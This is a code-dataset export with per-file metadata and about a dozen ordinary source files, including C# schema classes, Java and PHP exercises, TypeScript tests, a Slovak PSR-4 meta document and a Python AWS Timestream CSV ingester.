language
stringclasses
15 values
src_encoding
stringclasses
34 values
length_bytes
int64
6
7.85M
score
float64
1.5
5.69
int_score
int64
2
5
detected_licenses
listlengths
0
160
license_type
stringclasses
2 values
text
stringlengths
9
7.85M
C#
UTF-8
2,744
2.78125
3
[ "MIT" ]
permissive
using System; using System.Runtime.Serialization; using Newtonsoft.Json; namespace Schema.NET { /// <summary> /// A reservation for a taxi.&lt;/p&gt; /// &lt;p&gt;Note: This type is for information about actual reservations, e.g. in confirmation emails or HTML pages with individual confirmations of reservations. For offers of tickets, use &lt;a class="localLink" href="http://schema.org/Offer"&gt;Offer&lt;/a&gt;. /// </summary> [DataContract] public partial class TaxiReservation : Reservation { public interface IPartySize : IWrapper { } public interface IPartySize<T> : IPartySize { new T Data { get; set; } } public class PartySizeint : IPartySize<int> { object IWrapper.Data { get { return Data; } set { Data = (int) value; } } public virtual int Data { get; set; } public PartySizeint () { } public PartySizeint (int data) { Data = data; } public static implicit operator PartySizeint (int data) { return new PartySizeint (data); } } public class PartySizeQuantitativeValue : IPartySize<QuantitativeValue> { object IWrapper.Data { get { return Data; } set { Data = (QuantitativeValue) value; } } public virtual QuantitativeValue Data { get; set; } public PartySizeQuantitativeValue () { } public PartySizeQuantitativeValue (QuantitativeValue data) { Data = data; } public static implicit operator PartySizeQuantitativeValue (QuantitativeValue data) { return new PartySizeQuantitativeValue (data); } } /// <summary> /// Gets the name of the type as specified by schema.org. /// </summary> [DataMember(Name = "@type", Order = 1)] public override string Type => "TaxiReservation"; /// <summary> /// Number of people the reservation should accommodate. /// </summary> [DataMember(Name = "partySize", Order = 306)] [JsonConverter(typeof(ValuesConverter))] public Values<IPartySize>? PartySize { get; set; } //int?, QuantitativeValue /// <summary> /// Where a taxi will pick up a passenger or a rental car can be picked up. /// </summary> [DataMember(Name = "pickupLocation", Order = 307)] [JsonConverter(typeof(ValuesConverter))] public Values<Place>? PickupLocation { get; set; } /// <summary> /// When a taxi will pickup a passenger or a rental car can be picked up. /// </summary> [DataMember(Name = "pickupTime", Order = 308)] [JsonConverter(typeof(ValuesConverter))] public Values<DateTimeOffset>? PickupTime { get; set; } } }
C#
UTF-8
675
2.78125
3
[]
no_license
var csvlines = File.ReadAllLines(filename); // IEnumerable<string> //var csvLinesData = csvlines.Select(l => l.Split(',').Skip(1).ToArray()); // IEnumerable<string[]> // Instead of skipping the first column, skip the first line! var csvLinesData = csvlines.Skip(1).Select(l => l.Split(',').ToArray()); // IEnumerable<string[]> int flag = 0; var users = csvLinesData.Select(data => new User { CSRName = data[6], CallStart = data[0], CallDuration = data[1], RingDuration = data[2], Direction = data[3], IsInternal = data[4], Continuation = data[5], ParkTime = data[7] }).ToList();
Java
UTF-8
3,410
2.328125
2
[]
no_license
package com.BankSystem; import java.sql.Date; public class User { private int accountNo; private String firstName; private String lastName; private String email; private String mobile; private String PAN; private String aadhar; private String address; private Date DOB; private String gender; private double balance; private String password; public User(){} public User(User other) { this.accountNo = other.accountNo; this.firstName = other.firstName; this.lastName = other.lastName; this.email = other.email; this.mobile = other.mobile; this.PAN = other.PAN; this.aadhar = other.aadhar; this.address = other.address; this.DOB = other.DOB; this.gender = other.gender; this.balance = other.balance; this.password = other.password; } public String toString() { return "User{" + "accountNo=" + accountNo + ", firstName='" + firstName + '\'' + ", lastName='" + lastName + '\'' + ", email='" + email + '\'' + ", mobile='" + mobile + '\'' + ", PAN='" + PAN + '\'' + ", aadhar='" + aadhar + '\'' + ", address='" + address + '\'' + ", DOB=" + DOB + ", gender='" + gender + '\'' + ", balance=" + balance + ", password='" + password + '\'' + '}'; } public int getAccountNo() { return accountNo; } public void setAccountNo(int accountNo) { this.accountNo = accountNo; } public String getFirstName() { return firstName; } public void setFirstName(String firstName) { this.firstName = firstName; } public String getLastName() { return lastName; } public void setLastName(String lastName) { this.lastName = lastName; } public String getEmail() { return email; } public void setEmail(String email) { this.email = email; } public String getMobile() { return mobile; } public void setMobile(String mobile) { this.mobile = mobile; } public String getPAN() { return PAN; } public void setPAN(String PAN) { this.PAN = PAN; } public String getAadhar() { return aadhar; } public void setAadhar(String aadhar) { this.aadhar = aadhar; } public String getAddress() { return address; } public void setAddress(String address) { this.address = address; } public Date getDOB() { return DOB; } public void setDOB(Date DOB) { this.DOB = DOB; } public String getGender() { return gender; } public void setGender(String gender) { this.gender = gender; } public double getBalance() { return balance; } public void setBalance(double balance) { this.balance = balance; } public String getPassword() { return password; } public void setPassword(String password) { this.password = password; } }
JavaScript
UTF-8
2,840
2.875
3
[]
no_license
//emcc hctree.cpp r2e.cpp list.cpp ordering.cpp proximity.cpp -s ALLOW_MEMORY_GROWTH=1 -s "EXPORTED_FUNCTIONS=['_hctree_sort','_ellipse_sort','_computeProximity']" -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall','cwrap']" -o seriation.js //emcc hctree.cpp r2e.cpp list.cpp ordering.cpp proximity.cpp -s "EXPORTED_FUNCTIONS=['_hctree_sort','_ellipse_sort','_computeProximity']" -s "EXTRA_EXPORTED_RUNTIME_METHODS=['ccall','cwrap']" -o seriation.js var runProximityWASM = Module.cwrap("computeProximity", null, ["number", "number", "number", "number", "number", "number", "number"]); // void function function runProximity(proxType, side, isContainMissingValue) { var len = row_number * col_number; var inputRawData = new Float64Array(len); for(var i = 0; i < row_number; i++) { for(var j = 0; j < col_number; j++) { inputRawData[i*col_number+j] = data[i][j]; //console.log((i*col_number+j)+":"+inputRawData[i*col_number+j]); } } var bytes_per_element = inputRawData.BYTES_PER_ELEMENT; // 8 bytes each element console.log("bytes_per_element:"+inputRawData.BYTES_PER_ELEMENT); var start = 0; var end = 0; start = new Date().getTime(); // 要測試的 function 開始 ======= // alloc memory var input_ptr = Module._malloc(len * bytes_per_element); var output_prox_ptr; var prox_len = 0; if(side == 0) { output_prox_ptr = Module._malloc(row_number * row_number * 8 ); prox_len = row_number * row_number; } else { output_prox_ptr = Module._malloc(col_number * col_number * 8 ); prox_len = col_number * col_number; } Module.HEAPF64.set(inputRawData, input_ptr / bytes_per_element); // write WASM memory calling the set method of the Float64Array runProximityWASM(input_ptr, output_prox_ptr, row_number, col_number, proxType, side, isContainMissingValue); /* Module.ccall( "hctree_sort", //c function name null, //output type ["number", "number", "number", "number", "number", "number", "number", "number"], //input type [input_ptr, output_left_ptr, output_right_ptr, output_hgt_ptr, output_order_ptr, row_number, row_number, 0] //input value ); */ var output_prox_array = new Float64Array(Module.HEAPF64.buffer, output_prox_ptr, prox_len); // extract data to another JS array // 要測試的 function 結束 ======= end = new Date().getTime(); // 計算花多久時間 console.log((end - start) / 1000 + "sec"); freeHeap(input_ptr); freeHeap(output_prox_ptr); return output_prox_array; }
PHP
UTF-8
998
3.53125
4
[]
no_license
<!DOCTYPE html> <!-- To change this license header, choose License Headers in Project Properties. To change this template file, choose Tools | Templates and open the template in the editor. --> <html> <head> <meta charset="UTF-8"> <title></title> </head> <body> <?php $list="人易科技:上 機 測 驗 - 演算法"; $test1=$list; //:換全型 $test1=str_replace(":",":",$test1); echo "第一題 ".$test1."<br>"; //清空格,保留-的空格 $test2=$list; $test2 = str_replace( " ", "",$test2); $test2 = str_replace( "-", " - ",$test2); echo "第二題 ".$test2."<br>"; //輸出特定範圍字元 $test3=$list; $pos1 = strrpos($test3,':'); $pos2 = strrpos($test3,'-'); $test3 = substr( $test3 , $pos1+1 , $pos2-$pos1-1 ); echo "第三題 ".$test3."<br>";; ?> </body> </html>
PHP
UTF-8
5,482
2.796875
3
[ "Apache-2.0" ]
permissive
<?php /** * This example retrieves a previously created ad units and creates * a tree. * * Tags: InventoryService * * PHP version 5 * * Copyright 2011, Google Inc. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * @package GoogleApiAdsDfp * @subpackage v201103 * @category WebServices * @copyright 2011, Google Inc. All Rights Reserved. * @license http://www.apache.org/licenses/LICENSE-2.0 Apache License, Version 2.0 * @author Adam Rogal <api.arogal@gmail.com> * @author Eric Koleda <api.ekoleda@gmail.com> */ error_reporting(E_STRICT | E_ALL); // You can set the include path to src directory or reference // DfpUser.php directly via require_once. // $path = '/path/to/dfp_api_php_lib/src'; $path = dirname(__FILE__) . '/../../../src'; set_include_path(get_include_path() . PATH_SEPARATOR . $path); require_once 'Google/Api/Ads/Dfp/Lib/DfpUser.php'; /** * Gets all ad units for this user. * @param DfpUser $user the user to get the ad units for * @return array all ad units for this user * @access private */ function GetAllAdUnits(DfpUser $user) { // Get the InventoryService. $inventoryService = $user->GetInventoryService('v201103'); // Create array to hold all ad units. $adUnits = array(); // Set defaults for page and statement. $page = new AdUnitPage(); $filterStatement = new Statement(); $offset = 0; do { // Create a statement to get all ad units. $filterStatement->query = 'LIMIT 500 OFFSET ' . $offset; // Get creatives by statement. $page = $inventoryService->getAdUnitsByStatement($filterStatement); if (isset($page->results)) { $adUnits = array_merge($adUnits, $page->results); } $offset += 500; } while ($offset < $page->totalResultSetSize); return $adUnits; } /** * Finds the root ad unit for the user. * @param DfpUser $user the user to get the root ad unit for * @return the ad unit representing the root ad unit or <var>NULL</var> if one * is not found. * @access private */ function FindRootAdUnit(DfpUser $user) { // Get the InventoryService. $inventoryService = $user->GetInventoryService('v201103'); // Create a statement to only select image creatives. $filterStatement = new Statement("WHERE parentId IS NULL LIMIT 1"); // Get ad units by statement. $page = $inventoryService->getAdUnitsByStatement($filterStatement); if (isset($page->results)) { return $page->results[0]; } else { return NULL; } } /** * Builds and displays an ad unit tree from an array of ad units underneath * the root ad unit. * @param AdUnit $root the root ad unit to build the tree under * @param array $adUnits the array of ad units. * @access private */ function BuildAndDisplayAdUnitTree(AdUnit $root, array $adUnits) { $treeMap = array(); foreach ($adUnits as $adUnit) { if (isset($adUnit->parentId)) { $treeMap[$adUnit->parentId][] = $adUnit; } } if (isset($root)) { DisplayInventoryTree($root, $treeMap); } else { print "No root unit found.\n"; } } /** * Displays the ad unit tree beginning at the root ad unit. * @param AdUnit $root the root ad unit * @param array $treeMap the map of id to array of ad units * @access private */ function DisplayInventoryTree(AdUnit $root, array $treeMap) { DisplayInventoryTreeHelper($root, $treeMap, 0); } /** * Helper for displaying inventory units. * @param AdUnit $root the root inventory unit * @param array $treeMap the map of id to array of inventory units * @param $depth the depth the tree has reached * @access private */ function DisplayInventoryTreeHelper(AdUnit $root, array $treeMap, $depth) { print GenerateTab($depth) . $root->name . ' (' . $root->id . ")\n"; if (isset($treeMap[$root->id])) { foreach ($treeMap[$root->id] as $child) { DisplayInventoryTreeHelper($child, $treeMap, $depth + 1); } } } /** * Generates a string of tabs to represent branching to children. * @param $depth a depth from 0 to max(depth) * @return string a string to insert in front of the root unit * @access private */ function GenerateTab($depth) { $tab = ''; if ($depth != 0) { $tab .= ' '; } for ($i = 1; $i < $depth; $i++) { $tab .= '| '; } return $tab . '+--'; } try { // Get DfpUser from credentials in "../auth.ini" // relative to the DfpUser.php file's directory. $user = new DfpUser(); // Log SOAP XML request and response. $user->LogDefaults(); $allAdUnits = GetAllAdUnits($user); // Find the root ad unit. rootAdUnit can also be set to child unit to // only build and display a portion of the tree. // i.e. $adUnit = $inventoryService->getAdUnit("INSERT_AD_UNIT_ID_HERE") $rootAdUnit = FindRootAdUnit($user); if (isset($rootAdUnit)) { BuildAndDisplayAdUnitTree($rootAdUnit, $allAdUnits); } else { print "Could not build tree. No root ad unit found.\n"; } } catch (Exception $e) { print $e->getMessage() . "\n"; }
TypeScript
UTF-8
2,752
3.34375
3
[]
no_license
import produce from "./produce"; describe("produce", () => { it("Returns same object if not modified", () => { const obj = { a: 1, b: "some str", c: { nestedProp: 1 } }; const newState = produce(obj, (draft) => {}); expect(newState).toStrictEqual(obj); }); it("Returns same object if modified simple prop equal to original", () => { const obj = { a: 1, b: "some str", c: { nestedProp: 1 } }; const newState = produce(obj, (draft) => { draft.a = 1; }); expect(newState).toStrictEqual(obj); }); it("Returns same object if modified nested simple prop equal to original", () => { const obj = { a: 1, b: "some str", c: { nestedProp: 1 } }; const newState = produce(obj, (draft) => { draft.c.nestedProp = 1; }); expect(newState).toEqual(obj); }); it("Returns new object if state modified", () => { const obj = { a: 1, b: "some str", c: { nestedProp: 1 } }; const newState = produce(obj, (draft) => { draft.a = 2; }); expect(newState).not.toStrictEqual(obj); }); it("Returns new object if modified nested simple prop changes", () => { const obj = { a: 1, b: "some str", c: { nestedProp: 1 } }; const newState = produce(obj, (draft) => { draft.c.nestedProp = 2; }); expect(newState).not.toStrictEqual(obj); expect(newState.c).not.toStrictEqual(obj.c); }); it("Returns new object if property deleted", () => { const obj = { a: 1, b: "some str" }; const expectedNewState = { b: "some str" }; const newState = produce(obj, (draft) => { //@ts-ignore delete draft.a; }); expect(newState).not.toStrictEqual(obj); expect(newState).not.toEqual(obj); expect(newState).toEqual(expectedNewState); }); it("Throws error if recipe modifies draft and returns new state", () => { const obj = { a: 1, b: "some str" }; const newStateFactory = () => produce(obj, (draft) => { draft.a = 2; return { a: 32, b: "some other str" }; }); expect(newStateFactory).toThrow(Error); }); it("Returns new value inside draft after mutation", () => { const obj = { a: 1, b: "some str" }; let valAfterMutation; const newState = produce(obj, (draft) => { draft.a = 2; valAfterMutation = draft.a; }); expect(valAfterMutation).toBe(newState.a); }); });
Markdown
UTF-8
11,658
2.515625
3
[ "MIT", "CC-BY-4.0", "CC-BY-3.0" ]
permissive
PSR-4 Dodatok ============= 1. Zhrnutie ---------- Účelom je špecifikovanie pravidiel pre spoluprácu PHP autoloadera, ktorý mapuje menné priestory do ciest súboroých systémov a ktorý môže existovať spolu s ostatnými registrovanými SPL autoloadermi. Týmto vlastne doplňuje PSR-0 a nie ho nahrádza. 2. Prečo sa unúvať? -------------- ### Minulosť PSR-0 Štandard o pomenúvaní a autoloadovaní PSR-0 vyrástol po širšom prijatí Horde/PEAR dohody a pod tlakom PHP 5.2 a predošlých. Podľa tej dohody, zámerom bolo položiť všetky zdrojové triedy PHP do jedného hlavného adresára a používaním podtržítka v menách tried sa určovali pseudo menné priestory, napríklad takto: /path/to/src/ VendorFoo/ Bar/ Baz.php # VendorFoo_Bar_Baz VendorDib/ Zim/ Gir.php # Vendor_Dib_Zim_Gir S vydaním PHP 5.3 a s dostupnosťou skutočných menných priestorov bolo predstavené PSR-0 aby bolo možné používať oba spôsoby, starý podtržítkový Horde/PEAR mód *a* nový spôsob s mennými priestormi. Podtržítka boli stále povolené v mene triedy aby sa uľahčil prechod zo starého spôsobu pomenovávania menných prirestorov na novší a tým sa tak podporilo širšie prijatie štandardu. /path/to/src/ VendorFoo/ Bar/ Baz.php # VendorFoo_Bar_Baz VendorDib/ Zim/ Gir.php # VendorDib_Zim_Gir Irk_Operation/ Impending_Doom/ V1.php V2.php # Irk_Operation\Impending_Doom\V2 Táto štruktúra je dobre informovaná o fakte že inštalátor PEARu presunul súbory z adresára PEAR balíkov do jedného centrálneho adresára. ### V tom prichádza Composer Súbory balíkov už nie sú kopírované do jedného globálneho adresára. Používajú sa z adresára v ktorom sú inštalované a nepresúvajú sa sem a tam. To znamená že s Composerom nemáme jeden hlavný adresár pre PHP súbory ako s PEARom. Namiesto toho sú v mnohých adresároch, každý balík je vo vlastnom adresári pre každý jeden projekt. Aby sa zároveň splnili požiadavky PSR-0, tak balíky Composera vypadajú takto: vendor/ vendor_name/ package_name/ src/ Vendor_Name/ Package_Name/ ClassName.php # Vendor_Name\Package_Name\ClassName tests/ Vendor_Name/ Package_Name/ ClassNameTest.php # Vendor_Name\Package_Name\ClassNameTest Adresáre "src" a "tests" musia zahrnúť aj mená adresárov vendora a balíka. Toto je predmetom dodržiavania PSR-0. Mnohý považujú toto členenie za hlbšie ako potrebné a viacej sa opakujúce. Tento návrh navrhuje, že dodatočné alebo nahradzujúce PSR by bolo užitočné tak, že môžme mať balíky, ktoré budú vypadať takto: vendor/ vendor_name/ package_name/ src/ ClassName.php # Vendor_Name\Package_Name\ClassName tests/ ClassNameTest.php # Vendor_Name\Package_Name\ClassNameTest Toto by potrebovalo implementáciu pôvodne nazývanú ako *balíkovo-orientované autoloadovanie* (oproti tradičnému *priame autoloadovanie triedy na súbor*). ### Balíkovo-orientované Autoloadovanie Je ťažké implementovať balíkovo-orientované autoloadovanie rozšírením alebo zmenením PSR-0, pretože PSR-0 nedovoľuje skracovanie adresárovej cesty žiadnej časti z plného mena triedy. To znamená že implementovanie balíkovo-orientovaného autoloadovania by bolo komplikovanejšie ako PSR-0, aj napriek tomu, že by nám povolilo jednoduchšie balíky. Pôvodne boli navrhnuté tieto pravdilá: 1. Implementétor MUSÍ použiť aspoň dve úrovne menných priestorov: meno poskytovateľa a meno balíka od daného poskytovateľa. Táto dvojúrovňová kombinácia je potom označovaná ako poskytovateľ-balík alebo menný priestor poskýtovateľ-balík 2. Implementátor MUSÍ dodržať cestu medzi menným priestorom poskytovateľ-balík a zvyškom plného mena triedy. 3. Menný priestor poskytovateľ-balík MôŽE byť namapovaný do hociktorého adresára. Zvyšná časť plného mena triedy MUSÍ mapovať mená menných priestorov do zhodne nazvaných adresárov a MUSÍ mapovať meno triedy do zhodne nazvaného súboru s príponou .php. Všimnite si, že toto znamená koniec podtržítkových oddeľovačov adresárov v menách tried. Mohli by sme predpokladať, že kvôli zachovaniu spätnej kompatibility s PSR-0 sa podtržítka budú naďalej akceptovať, ale kvôli odklonu od PHP 5.2 a predošlých pseudo menných priestorov sa rozhodlo, že bude prijateľné ak sa odstránia tu. 3. Rámec -------- ### 3.1 Ciele - Zachovať pravidlo z PSR-0, podľa ktorého implementátori MUSIA použiť aspoň dve úrovne menných priestorov a to: meno poskytovateľa a meno balíka v ňom. - Umožniť pevnú cestu medzi mennyćh priestorom poskytovateľ-balík a zvyškom plného mena triedy. - Umožniť aby menný priestor poskytovateľ-balík MOHOL byť namapovaný do hociktorého adresára, možno aj do viacerých adresárov. - Ukončiť rešpektovanie podtržítka v mene triedy ako oddeľovača adresárov. ### 3.2 Nie Ciele - Poskytnúť všeobecnú transformačnú sadu pravidiel pre zdrojové kódy, ktoré nie sú v triedach. 4. Postupy ---------- ### 4.1 Vybratý postup Tento prístup zachová kľúčové charakteristiky PSR-0 a zároveň odstráni hlbšie štruktúry adresárov ktoré potrebuje. Zároveň, špecifikuje určité dodatočné pravidlá, vďaka ktorým budú implementácie výslovne lepšie použiteľné. Hoci konečný návrh nie je prepojený s mapovaním adresárov, buďe tiež špecifikovať ako autoloader spracúvava chyby. Osobitne, zakazuje vyhadzovanie výnimiek a tvorenie akýchkoľvek chýb. Dôvod je dvojaký. 1. Autoloadery v PHP sa skladajú na seba, to znamená že ak jeden autoloader nevie načítať triedy, tak ďaľší v poradí má šancu to urobiť. Ak by autoloader vyhadzoval chyby, tak by sa narušila táto zľúčiteľnosť. 2. `class_exists()` a `interface_exists()` povoľujú "nenájdené, aj po vyskúšaní autoloadu" ako platný a normálny stav. Autoloader, ktorý hádže výnimky spôsobí `class_exists()` nepoužiteľným, čo je absolútne neprijateľné z pohľadu použiteľnosti. Autoloadery ktoré chcú poskytovať dodatočné informácie na ľadenie chýb pre prípady nenajdených tried by tak mali robiť zapisovaním do záznamov (logov), buď do PSR-3 kompatibilných záznamov alebo iných. Pre: - Menej hlboká štruktúra adresárov - Flexibilnejšie umiestnenie súborob - Ukončenie podpory podtržítka v mene triedy ako oddeľovača adresára - Implementácie sú výslovne lepšie spolupracujúce Proti: - Už viac nie je možné vďaka PSR-0 určiť vďaka menu triedu, kde sa fyzicky daný súbor nachádza v súborovom systéme (konvencia "trieda-subor" konvencia) zdedená z Horde/PEAR). ### 4.2 Alternatíva: Zostať iba pri PSR-0 Ak zostaneme iba pri PSR-0, tak nám ostane pomerne hlbšia adresárová štruktúra. Pre: - Nie je potreba zmeniť nikoho zvyky a implementácie Proti: - Ostane nám hlbšia adresárová štruktúra - Zostanú nám podtržítka v menách tried, ktoré sa budú počítať ako oddelovače adresárov ### 4.3 Alternatíva: Rozdeliť Autoloadovanie a transformovať Beau Simensen a ostatní navrhovali že sada pravidiel na transformácia by mala byť odčlenená z návrhu na nový autoloader tak, že pravidlá transformácie by mali byť udané v iných návrhoch. Po tom ako táto sada oddelila, nasledovalo hlasovanie a diskusia, sa rozhodlo, že preferovaná verzia bude kombinovaná. To znamená, pravidlá pre transformáciu budu súčasťou návrhu autoloader. Pre: - Transformačné pravidlá by mohli byť odkazované osobitne inými návrhmi. Proti: - Nie celkom v súlade so želaniami respondentov ankety a spolupracovníkov ### 4.4 Alternatíva: Používat viacej prikazujúci a vodiaci jazyk Po druhom hlasovaní, a po tom ako navrhovateľ počul od mnohých hlasujúcich, že podporili návrh, ale nerozumeli alebo nesúhlasili celkom zneniu návrhu, tu bolo obdobie, kedy odhlasovaný návrh bol prepísaný s viacej prikazujúcim tónom a širším vysvetlovaním. Tento prístup bol kritizovaný hlasnou menšinou zúčastnených. Po nejakom čase začal Beau Simensen s experimentálnou opravou s prihliadaním na PSR-0. Navrhovateľ a pozmenovatelia si obľúbili tento stručný prístup a doviedli túto verziu k rozhodovaniu, spísanú Paulom M. Jones-eom s prispením mnohých ďaľších. ### Poznámky ku kompatibilite s PHP 5.3.2 a nižšie PHP verzie pre 5.3.3 neodoberajú začiatočný oddelovač menného priestoru, takže je povinnosťou implementácie sa postarať o toto. Bez odobratia začiatočného oddelovača by mohlo prísť k neočakávanému chovaniu. 5. Ľudia --------- ### 5.1 Vedúci návrhu - Paul M. Jones, Solar/Aura ### 5.2 Navhrovatelia - Phil Sturgeon, PyroCMS (Coordinator) - Larry Garfield, Drupal ### 5.3 Prispievatelia - Andreas Hennings - Bernhard Schussek - Beau Simensen - Donald Gilbert - Mike van Riel - Paul Dragoonis - Mnohý ďaľší 6. Hlasy -------- - **Prvé hlasovanie:** <https://groups.google.com/d/msg/php-fig/_LYBgfcEoFE/ZwFTvVTIl4AJ> - **Hlasovanie za prijatie:** - 1. pokus: <https://groups.google.com/forum/#!topic/php-fig/Ua46E344_Ls>, predstavený pred novým postupom; prerušené kvôli zmene v návrhu - 2. pokus: <https://groups.google.com/forum/#!topic/php-fig/NWfyAeF7Psk>, zrušené na návrh navrhovateľa <https://groups.google.com/forum/#!topic/php-fig/t4mW2TQF7iE> - 3. pokus: TBD 7. Relevantné linky ------------------- - [Autoloader, 4. kolo](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/lpmJcmkNYjM) - [Hlasovanie: Autoloader: Rozdelené alebo kombinované?](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/fGwA6XHlYhI) - [PSR-X špecifikácia autoloaderu: medzery, nejasnosti](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/kUbzJAbHxmg) - [Autoloader: Kombinovaný návrh?](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/422dFBGs1Yc) - [Balíkovo orientovaný autoloader, 2. kolo](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/Y4xc71Q3YEQ) - [Autoloader: pozeranie znovu na menné priestory](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/bnoiTxE8L28) - [DISKUSIA: Balíko orientovaný autoloader - znovu hlasovanie](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/SJTL1ec46II) - [HLASOVANIE: Balíkovo orientovaný autoloader](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/Ua46E344_Ls) - [Návrh: Balíkovo orientovaný autoloader](https://groups.google.com/forum/#!topicsearchin/php-fig/autoload/php-fig/qT7mEy0RIuI) - [Smerom k balíkovo orientovanému autoloaderu](https://groups.google.com/forum/#!searchin/php-fig/package$20oriented$20autoloader/php-fig/JdR-g8ZxKa8/jJr80ard-ekJ) - [Zoznam alternatívnych návrhov PSR-4](https://groups.google.com/forum/#!topic/php-fig/oXr-2TU1lQY) - [Zhrnutie [po hlasovaní o akceptovaní] PSR-4 diskusií](https://groups.google.com/forum/#!searchin/php-fig/psr-4$20summary/php-fig/bSTwUX58NhE/YPcFgBjwvpEJ)
Python
UTF-8
3,461
4.71875
5
[]
no_license
''' This program applies string manipulation on the text ' The python course is the best course that I have ever taken. ''' def main(): # Initialize... print('Initialize... (String Functionality with Naive Strings Practice)') s = ' The Python course is the best course that I have ever taken. ' print('\n(I) Part 1.') # 1 Display the length of the string. print('# 1 Display the length of the string.') print(len(s)) # 2 Find the index of the first 'o' in the string. print('\n# 2 Find the index of the first \'o\' in the string.') print(s.index('o')) # 3 Trim off the leading spaces only. print('\n# 3 Trim off the leading spaces only.') print(s.lstrip()) # 4 Trim off the trailing spaces only. print('\n# 4 Trim off the trailing spaces only.') print(s.rstrip()) # 5 Trim off both the leading and trailing spaces (use this trimmed string for all the remaining # parts below). print('\n# 5 Trim off both the leading and trailing spaces (use this trimmed string for all the remaining parts below.).') print(s.strip()) print('(II) Part 2.') s2 = s.strip() # No more trailing / leading spaces. # 6 Fully capitalize the string. print('\n# 6 Fully capitalize the string.') print(s2.upper()) # 7 Fully lowercase the string. print('\n# 7 Fully lowercase the string.') print(s2.lower()) # 8 Display the number of occurrence of the letter ‘d’ and of the word ‘the’. print('\n# 8 Display the number of occurrence of the letter ‘d’ and of the word ‘the’.') print('Number of occurence of the letter \'d\':',s2.count('d'),'.') print('Number of occurence of the word \'the\':',s2.count('the'),'.') # 9 Display the first 15 characters of the string. print('\n# 9 Display the first 15 characters of the string.') print('The first ', len(s2[:15]), ' characters:') print(s2[:15]) # 10 Display the last 10 characters of the string. print('\n# 10 Display the last 10 characters of the string.') print('The last ', len(s2[-10:]), ' characters:') print(s2[-10:]) # 11 Display characters 5-23 of the string. print('\n# 11 Display characters 5-23 of the string.') print(s2[5:23]) # 12 Find the index of the first occurrence of the word ‘course’. print('\n# 12 Find the index of the first occurrence of the word ‘course’.') print(s2.find('course')) # 13 Find the index of the second occurrence of the word ‘course’. print('\n# 13 Find the index of the second occurrence of the word ‘course’.') loc = s2.find('course') print(s2.find('course', loc+1)) # 14 Find the index of the second to last occurrence of the letter ‘t’, between the 7th and 33rd # characters in the string. print('\n# 14 Find the index of the second to last occurrence of the letter ‘t’, between the 7th and 33rd characters in the string.') loc = s2.rfind('t', 7, 33) print(s2.rfind('t', 7, loc)) # 15 Replace the period (.) with an exclamation point (!). print('\n# 15 Replace the period (.) with an exclamation point (!).') print(s2.replace('.', '!')) # 16 Replace all occurrences of the word ‘course’ with ‘class’. print('\n# 16 Replace all occurrences of the word ‘course’ with ‘class’.') print(s2.replace('course', 'class')) ######################### if __name__ == '__main__': main()
JavaScript
UTF-8
2,036
3.140625
3
[]
no_license
'use strict'; const serviceRequest = require('request'); let _report = ''; const getLabel = (int) => { let label = ''; const even = (int % 2 === 0); const mod3 = (int %3 === 0); if (even) { if (mod3) { label = 'divisible by two and three'; } else {label = 'even'} } else if (mod3) { label = 'divisible by three'; } else {label = 'odd';} return label; }; const localAlgorithm = (start = 0, end = 100, format = 'html') => { _report = ''; for (let i = start; i <= end ; i++) { const label = "The number '" + i + "' is " + getLabel(i) + '.'; if (format === 'html') { _report += label + '<br/>'; } else { _report += label + '\n'; } } return _report; }; const getIntegers = (end, currentInt, callback) => { console.log('getIntegers',end, currentInt); if (currentInt < end) { getNextInt(currentInt) .then((oInt) => { _report += oInt.rptLine; getIntegers(end, oInt.nextInt, callback); } ) } else { callback (null); } }; const getNextInt = (currentInt) => { return new Promise((resolve, reject) => { let baseUri = ''; if (currentInt % 2 === 0) { //even baseUri = 'http://localhost:3010'; } else { baseUri = 'http://localhost:3020'; } serviceRequest(baseUri + '?lastInt=' + currentInt, (err, res, body) => { if (err) { reject(err); } else { let oResponse = JSON.parse(body); const rptLine = oResponse.service + ": The number is '" + oResponse.nextInt + "'<br>"; resolve({nextInt:oResponse.nextInt, rptLine:rptLine}); } }) }); }; const serviceAlgorithm = (start = '0', end = '100', format = 'html', callback) => { return new Promise((resolve, reject) => { _report = ''; start = parseInt(start, 10); end = parseInt(end, 10); let currentInt = start; _report += "'Initial value: The number is '" + currentInt + "'<br>"; getIntegers(end, currentInt, (err) => { resolve(_report); }); } ) }; exports.localAlgorithm = localAlgorithm; exports.serviceAlgorithm = serviceAlgorithm;
Python
UTF-8
2,032
2.84375
3
[ "MIT-0" ]
permissive
import csv import time from Constant import DATABASE_NAME, TABLE_NAME class CsvIngestionExample: def __init__(self, client): self.client = client def bulk_write_records(self, filepath): with open(filepath, 'r') as csv_file: # creating a csv reader object csv_reader = csv.reader(csv_file) records = [] current_time = self._current_milli_time() counter = 0 # extracting each data row one by one for row in csv_reader: dimensions = [ {'Name': row[0], 'Value': row[1]}, {'Name': row[2], 'Value': row[3]}, {'Name': row[4], 'Value': row[5]} ] record_time = current_time - (counter * 50) record = { 'Dimensions': dimensions, 'MeasureName': row[6], 'MeasureValue': row[7], 'MeasureValueType': row[8], 'Time': str(record_time) } records.append(record) counter = counter + 1 if len(records) == 100: self._submit_batch(records, counter) records = [] if len(records) != 0: self._submit_batch(records, counter) print("Ingested %d records" % counter) def _submit_batch(self, records, counter): try: result = self.client.write_records(DatabaseName=DATABASE_NAME, TableName=TABLE_NAME, Records=records, CommonAttributes={}) print("Processed [%d] records. WriteRecords Status: [%s]" % (counter, result['ResponseMetadata']['HTTPStatusCode'])) except Exception as err: print("Error:", err) @staticmethod def _current_milli_time(): return int(round(time.time() * 1000))
Java
UTF-8
1,464
2.734375
3
[]
no_license
